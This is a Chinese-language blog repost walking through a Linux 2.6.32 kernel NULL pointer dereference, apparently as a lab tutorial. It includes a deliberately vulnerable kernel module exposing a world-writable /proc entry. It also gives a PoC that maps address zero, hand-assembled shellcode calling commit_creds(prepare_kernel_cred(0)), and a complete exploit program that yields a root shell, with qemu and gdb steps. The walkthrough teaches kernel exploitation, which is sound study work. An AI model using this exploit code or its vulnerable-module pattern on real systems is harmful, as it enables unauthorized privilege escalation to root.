0x00 漏洞代码

null_dereference.c:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>void (*my_funptr)(void);int bug1_write(struct file *file, const char *buf, unsigned long len)
{my_funptr();return len;
}static int __init null_dereference_init(void)
{printk(KERN_ALERT "null_dereference driver init!\n");create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;return 0;
}static void __exit null_dereference_exit(void)
{printk(KERN_ALERT "null_dereference driver exit\n");
}module_init(null_dereference_init);
module_exit(null_dereference_exit);

可以看到漏洞代码中my_funptr函数指针是空指针(值为0x0),调用my_funptr可以执行0x0地址处的代码。

Makefile:

obj-m := null_dereference.o
KERNELDR := /home/moon/Desktop/linux-kernel/linux-2.6.32.1/
PWD := $(shell pwd)
modules:  $(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:  $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:  rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

将漏洞代码在本地编译(make)之后,将null_dereference.ko文件放到busybox-1.27.2/_install/usr/目录中。

0x01 PoC

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>char payload[] = "\xe9\xea\xbe\xad\x0b"; // jmp 0xbadbeefint main()
{mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);memcpy(0, payload, sizeof(payload));int fd = open("/proc/bug1", O_WRONLY);write(fd, "fanrong", 7); // 调用bug1的write函数return 0;
}

编译:

$ gcc -static poc.c -o poc

将poc也放到busybox的usr目录中。

再在busybox的_install目录中执行:

$ find . | cpio -o --format=newc > ../rootfs.img

qemu启动Linux内核,启动后用Ctrl+Alt+2到控制台,输入:

(qemu) gdbserver tcp::1234

在本地linux-2.6.32.1目录中用gdb去连接:

$ gdb vmlinux
(gdb) target remote :1234
Remote debugging using :1234
default_idle() at arch/x86/kernel/process.c:311
311            current_thread_info()->status |= TS_POLLING;
(gdb) b *0x0
(gdb) c
Continuing.

在qemu中Ctrl+Alt+1切换回命令行,进入usr目录,挂载驱动后运行poc程序。

这时gdb就会命中断点,因为调用了空的函数指针,所以会跳转到0x0。反汇编查看当前执行的指令:

可以看到如果继续执行就会执行我们的payload。

0x02 exploit

1.思路:给当前进程赋予root权限

commit_creds(prepare_kernel_cred(0));

在qemu中获取commit_creds和prepare_kernel_cred地址:

2.编写shellcode    

xor %eax, %eax
call 0xc10680d0
call 0xc1067f30
ret

编译shellcode,并获取其机器码,得到shellcode:

shellcode = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3"

现在将shellcode放入分配的0x0地址空间,当调用空函数指针时,使当前进程有root权限,然后执行一个system(“/bin/sh”);在程序返回用户态之后获得root shell。

exp.c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>char payload[] = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3";int main()
{mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);memcpy(0, payload, sizeof(payload));int fd = open("/proc/bug1", O_WRONLY);write(fd, "fanrong", 7);system("/bin/sh"); // get root shellreturn 0;
}

将exp.c编译,将exp复制到busybox的_install目录下的usr目录中,再启动qemu,运行exp.

成功拿到root shell.                                                                                                    。

转载于:https://www.cnblogs.com/elvirangel/p/7469531.html

NULL Pointer Dereference(转)相关推荐

  1. 新手玩转Linux Kernel漏洞之Null Pointer Dereference

    新手玩转Linux Kernel漏洞之Null Pointer Dereference 前言 这是我内核漏洞的入门篇, 不是很复杂, 希望能给徘徊在门外的小伙伴一点启发. 漏洞描述 A NULL po ...

  2. Unable to handle kernel NULL pointer dereference at virtual address 0000000d[ 435.859000] pgd = c9

    由于本人刚学驱动新手,不会太多反向操作.看了很多博主也没有解决. 经过我一个下午尝试,把代码缩减缩减在缩减之后,我发现了 先看下面的代码,有问题的代码(扫一眼就行了,估计没人看的出来) #includ ...

  3. ncnn报null pointer dereference异常

    错误描述 基于c++使用ncnn封装了深度学习模型,并将c++项目打包成为了一个so库给Android调用,在打包成为so库之前,在Windows系统以及Ubuntu系统利用电脑的camera测试过都 ...

  4. Unable to handle kernel NULL pointer dereference at virtual address

    1:从sd卡出错log里可以看出来pc指针以及出错位置 PC is at dw_mci_pre_dma_transfer.isra.19+0x7c/0x158 pc : [<8032e130&g ...

  5. Unable to handle kernel NULL pointer dereference at virtual address 分析

    Unable to handle kernel NULL pointer dereference at virtual address 分析 现象 [ 136.847780] br-lan: rece ...

  6. Unable to handle kernel NULL pointer dereference at virtual address 00000000问题的解决

    Unable to handle kernel NULL pointer dereference at virtual address 00000000问题的解决 参考文章: (1)Unable to ...

  7. Android UVCCamera问题——Cause: null pointer dereference

    记录遇到的问题. 采用的开源库链接:https://github.com/saki4510t/UVCCamera 使用该库预览的时候,如果拔掉uvc设备,会造成异常闪退. signal 11 (SIG ...

  8. Nvidia AGX Xavier 升级到 JetPack 4.6版本 反复打开camera导致内核出错 Unable to handle kernel NULL pointer

    这里写自定义目录标题 现象 日志显示 分析过程 解决思路 代码修改 现象 在原来 JetPack4.4 运行稳定的camera驱动,由于算法功能需要,升级到最新的JetPack4.6. 刚开始自测,功 ...

  9. 2020-10-26runtime error: member access within null pointer of type ‘struct ListNode‘ (solution.cpp)错

    runtime error: member access within null pointer of type 'struct ListNode' (solution.cpp)错误 /*** Def ...

最新文章

  1. webpack 零基础到工程实战(1)
  2. JAVA SSM框架+Redis 实现单点登录
  3. python监控桌面捕捉_想要远程获取对方的桌面?Python教你一招搞定!
  4. 上海三校生应用计算机考试试卷,三校生计算机考试试题.doc
  5. 阐述游戏关卡设计中的色彩理论
  6. 有监督机器学习训练流程---人工智能工作笔记0015
  7. TX-LCN和Seata
  8. Trie——51nod1526 分配笔名
  9. mysql修改密码及变更权限
  10. redis自定义lua脚本
  11. android系统相机实时数据采集流程,Android摄像头获取实时数据+Demo
  12. electron项目打包报错
  13. 输入手机号获取验证码的注册页面,说出测试过程
  14. 【电化学】-物质传递(迁移与扩散)
  15. 求html5大佬帮助一下
  16. 【实验3】——目标的分辨能力
  17. 品牌策划的驱动内核,营销美学战略和视觉营销策略
  18. 【任务栏输入法图标不见了怎么办】
  19. 北京大学安全高效计算实验室(SEC Lab)李萌老师,招收科研实习生
  20. 幻想三国志 游戏流程详尽全攻略 3

热门文章

  1. 最新postfix 的master.cf配置参考
  2. Camouflaged Object Detection阅读笔记
  3. 【MySQL】MySQL的数据类型
  4. 滑动窗口提取特征-torch.unfold的应用
  5. 在Amazon SageMaker上快速、灵活构建TensorFlow模型的在线推理服务
  6. 手动实现表格分页功能
  7. (已解决)ImportError: torch.utils.ffi is deprecated. Please use cpp extensions instead.
  8. CentOS7.2时间不正确
  9. 2006中国城市竞争力:60个城市综合竞争力排名
  10. linux ubuntu18.1安装教程,Ubuntu 18.04上Qmmp安装教程